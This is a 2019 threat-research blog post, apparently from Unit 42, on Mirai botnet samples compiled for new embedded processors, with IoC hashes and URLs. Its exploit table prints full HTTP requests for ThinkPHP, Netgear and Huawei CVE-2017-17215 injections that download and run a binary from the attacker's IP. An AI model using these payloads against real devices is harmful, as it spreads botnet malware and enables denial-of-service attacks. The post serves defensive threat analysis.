[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  English
* [English](https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/mirai-compiled-for-new-processor-surfaces/)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# Mirai Compiled for New Processors Surfaces in the Wild

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 4 min read  
Related Products  
[![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:April 8, 2019

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/)
  * [DDoS](https://unit42.paloaltonetworks.com/tag/ddos/)
  * [IoT](https://unit42.paloaltonetworks.com/tag/iot/)
  * [Linux](https://unit42.paloaltonetworks.com/tag/linux/)
  * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/?pdf=download&lg=en&_wpnonce=279fa6c5e6 "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/?pdf=print&lg=en&_wpnonce=279fa6c5e6 "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Mirai%20Compiled%20for%20New%20Processors%20Surfaces%20in%20the%20Wild&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmirai-compiled-for-new-processor-surfaces%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmirai-compiled-for-new-processor-surfaces%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmirai-compiled-for-new-processor-surfaces%2F&title=Mirai%20Compiled%20for%20New%20Processors%20Surfaces%20in%20the%20Wild "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmirai-compiled-for-new-processor-surfaces%2F&text=Mirai%20Compiled%20for%20New%20Processors%20Surfaces%20in%20the%20Wild "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmirai-compiled-for-new-processor-surfaces%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Mirai%20Compiled%20for%20New%20Processors%20Surfaces%20in%20the%20Wild%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmirai-compiled-for-new-processor-surfaces%2F "Share in Mastodon")

# Executive Summary

In late February 2019, Unit 42 discovered Mirai samples compiled for new processors/architectures not previously seen before. Despite the source code being [publicly released](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/) In October of 2016, the malware has, until now, only been found targeting a fixed set of processors/architectures.

Unit 42 has found the newly discovered samples are compiled for Altera Nios II, OpenRISC, Tensilica Xtensa, and Xilinx MicroBlaze processors. This is not the first time Mirai has been expanded for new processor architectures, samples targeting [ARC CPUs](https://www.theregister.co.uk/2018/01/16/arc_iot_botnet_malware/) were discovered in January 2018. Yet this development shows that Mirai developers continue to actively innovate, targeting a growing array of IoT devices. The malware gained notoriety in 2016 for its use in massive denial of service attacks on Dyn and the website of security blogger Brian Krebs. If the latest innovations lead to an increase in the number of infected devices, that means that Mirai attackers would have access to additional firepower for use in denial of service attacks.

In this blog, we show the new features we've found in these new samples, discuss the infrastructure we observed, show how other Mirai samples using known exploits were hosted on the same infrastructure as the new samples, and give indicators of compromise (IoCs) for these new samples.

To protect against Mirai and other threats, organizations should make securing their IoT devices with the latest updates and non-default passwords a priority.

# New Features in these New Samples

In addition to the being compiled for these new architectures, we have found that these new samples also contain the following new features:

* Encryption algorithm: These samples make use of a modified version of the standard byte-wise XOR (as implemented in the [toggle\_obf](https://github.com/jgamblin/Mirai-Source-Code/blob/6a5941be681b839eeff8ece1de8b245bcd5ffb02/mirai/bot/table.c#L138) function) used in the original Mirai source code.

It uses 11 8-byte keys, all of which are cumulatively byte-wise XOR-ed to get the final resulting key. This is better illustrated in the code snippet below:  
tablekeys = \[0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF\] xor\_key = 0 for key in tablekeys: xor\_key ^= key\&0xff ^ (key\>\>8 \& 0xff) ^ (key\>\>16 \& 0xfF) ^ (key\>\>24 \& 0xff)

|---------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 | tablekeys = \[0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF\] xor\_key = 0 for key in tablekeys: xor\_key ^= key\&0xff ^ (key\>\>8 \& 0xff) ^ (key\>\>16 \& 0xfF) ^ (key\>\>24 \& 0xff) |

This is effectively the equivalent of a byte-wise XOR with 0x5A.

* attack\_method\_ovh: The samples include a DDoS attack option with the following parameters:

ATK\_OPT\_IP\_TOS = 0 ATK\_OPT\_IP\_IDENT = 0xFFFF ATK\_OPT\_IP\_TTL = 64 ATK\_OPT\_IP\_DF = 1 ATK\_OPT\_SPORT = 0xFFFF ATK\_OPT\_DPORT = 0xFFFF ATK\_OPT\_SEQRND = 0xFFFF ATK\_OPT\_ACKRND = 0 ATK\_OPT\_URG = 0 ATK\_OPT\_ACK = 0 ATK\_OPT\_PSH = 0 ATK\_OPT\_RST = 0 ATK\_OPT\_SYN = 1 ATK\_OPT\_FIN = 0 ATK\_OPT\_SOURCE = LOCAL\_ADDR

|-------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | ATK\_OPT\_IP\_TOS = 0 ATK\_OPT\_IP\_IDENT = 0xFFFF ATK\_OPT\_IP\_TTL = 64 ATK\_OPT\_IP\_DF = 1 ATK\_OPT\_SPORT = 0xFFFF ATK\_OPT\_DPORT = 0xFFFF ATK\_OPT\_SEQRND = 0xFFFF ATK\_OPT\_ACKRND = 0 ATK\_OPT\_URG = 0 ATK\_OPT\_ACK = 0 ATK\_OPT\_PSH = 0 ATK\_OPT\_RST = 0 ATK\_OPT\_SYN = 1 ATK\_OPT\_FIN = 0 ATK\_OPT\_SOURCE = LOCAL\_ADDR |

These are the exact same parameters as the attack method "TCP SYN" ([attack\_method\_tcpsyn](https://github.com/jgamblin/Mirai-Source-Code/blob/6a5941be681b839eeff8ece1de8b245bcd5ffb02/mirai/bot/attack_tcp.c#L18)) in the original Mirai source, so the reason behind incorporating a new attack method with the same parameters remains unclear.

Pivoting on this attack method in AutoFocus, we found samples circulating in the wild since November 2018 for other previously known architectures also employing it.

# Infrastructure

We found these latest samples on a single IP that at one point of time was hosting them via an open directory; however, on February 22, 2019, the server was later updated to hide the file listing but continued to host the files themselves.

*![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/04/Figure1-12.52.51-PM.png) Figure 1. Open directory hosting samples of the Mirai variant*

Prior to the update on February 22, the same IP was hosting Mirai samples containing the following exploits known to be used in previous versions of Mirai. The presence of these exploits in both previous versions of Mirai and our newly discovered samples help show the tie between the two are likely used by the same attacker in this case. These exploits are shown in Table 1, below.

|---------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| **Vulnerability**                                                                                 | **Exploit Format**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| [ThinkPHP Remote Code Execution](https://www.exploit-db.com/exploits/45978)                       | GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction\&function=call\_user\_func\_array\&vars\[0\]=system\&vars\[1\]\[\]= 'wget http://178.62.227\[.\]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1  Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hito/2.0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| [D-Link DSL2750B OS Command Injection](https://www.exploit-db.com/exploits/44760/)                | ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/04/Screen-Shot-2019-04-07-at-12.46.06-PM-1.png)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| [Netgear Remote Code Execution](https://www.exploit-db.com/exploits/43055/)                       | GET /setup.cgi?next\_file=netgear.cfg\&todo=syscmd\&cmd=rm+-rf+/tmp/\*;/bin/busybox+wget+-g+178.62.227\[.\]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+\*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear\&curpath=/\&currentsetting.htm=1 HTTP/1.0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| [CVE-2014-8361](https://packetstormsecurity.com/files/cve/CVE-2014-8361)                          |  ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/04/Screen-Shot-2019-04-07-at-12.51.59-PM.png)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| [CVE-2017-17215](https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en) | POST /ctrlt/DeviceUpgrade\_1 HTTP/1.1  Content-Length: 430 Connection: keep-alive Accept: \*/\* Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade\_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" \<?xml version="1.0" ?\>\<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"\>\<s:Body\>\<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"\>\<NewStatusURL\>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 \* /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)\</NewStatusURL\>\<NewDownloadURL\>$(echo HUAWEIUPNP)\</NewDownloadURL\>\</u:Upgrade\>\</s:Body\>\</s:Envelope\> |

*Table 1. Exploits in Mirai variant hosted at 178.62.227\[.\]13 prior to February 22*

# Conclusion

Given that the Mirai source code is open source, something as elementary as compiling the same source code for a larger range of processors provides attackers with the advantage of a larger attack surface. Practically, this means that the family can now infect and propagate via a larger number of embedded devices, affording attackers greater DDoS firepower.

Palo Alto Networks customers are protected by:

* WildFire detects all related samples with malicious verdicts.
* All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

AutoFocus customers can track the exploits mentioned using the following tags:

* [ThinkPHP RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ThinkPHP_RCE)
* [DLinkDSL2750BOSCmdInjection](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DLinkDSL2750BOSCmdInjection)
* [Netgear RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.NetgearRCE)
* [CVE-2014-8361](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2014-8361)
* [CVE-2017-17215](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2017-17215)

The malware family can be tracked in AutoFocus using the tag [++ELFMirai++](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ELFMirai)

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit [www.cyberthreatalliance.org](https://www.cyberthreatalliance.org).

# Indicators of Compromise

**URLs**

178\[.\]62.227.13/wrgjwrgjwrg246356356356/hmicroblazebe

178\[.\]62.227.13/wrgjwrgjwrg246356356356/hmicroblazeel

178\[.\]62.227.13/wrgjwrgjwrg246356356356/hnios2

178\[.\]62.227.13/wrgjwrgjwrg246356356356/hopenrisc

178\[.\]62.227.13/wrgjwrgjwrg246356356356/hxtensa

**Xilinx MicroBlaze** **Samples**

006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f

233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d

26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459

2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289

3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb

43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef

44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd

4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf

4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779

537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce

683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887

9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22

a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d

a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50

bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491

c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1

c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31

d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a

de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea

e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf

**OpenRISC** **Samples**

09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a

199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00

1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1

24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b

59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2

6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327

74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d

76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986

b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa

b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816

b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1

c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e

d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45

f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671

**Tensilica Xtensa** **Samples**

006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a

28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af

5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7

57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779

61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb

ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c

b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d

b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6

**Altera Nios II** **Samples**

0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358

3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1

48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87

5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc

a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e

ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894

fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05
Back to top

### Tags

* [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet")
* [DDoS](https://unit42.paloaltonetworks.com/tag/ddos/ "DDoS")
* [IoT](https://unit42.paloaltonetworks.com/tag/iot/ "IoT")
* [Linux](https://unit42.paloaltonetworks.com/tag/linux/ "Linux")
* [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/ "Mirai")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Disclosing a directory traversal vulnerability in Kubernetes copy -- CVE-2019-1002101](https://unit42.paloaltonetworks.com/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/ "Disclosing a directory traversal vulnerability in Kubernetes copy – CVE-2019-1002101")

### Related Articles

* [The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "article - table of contents")
* [Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "article - table of contents")
* [Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "article - table of contents")

## Related Malware Resources

![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

* [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

* [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
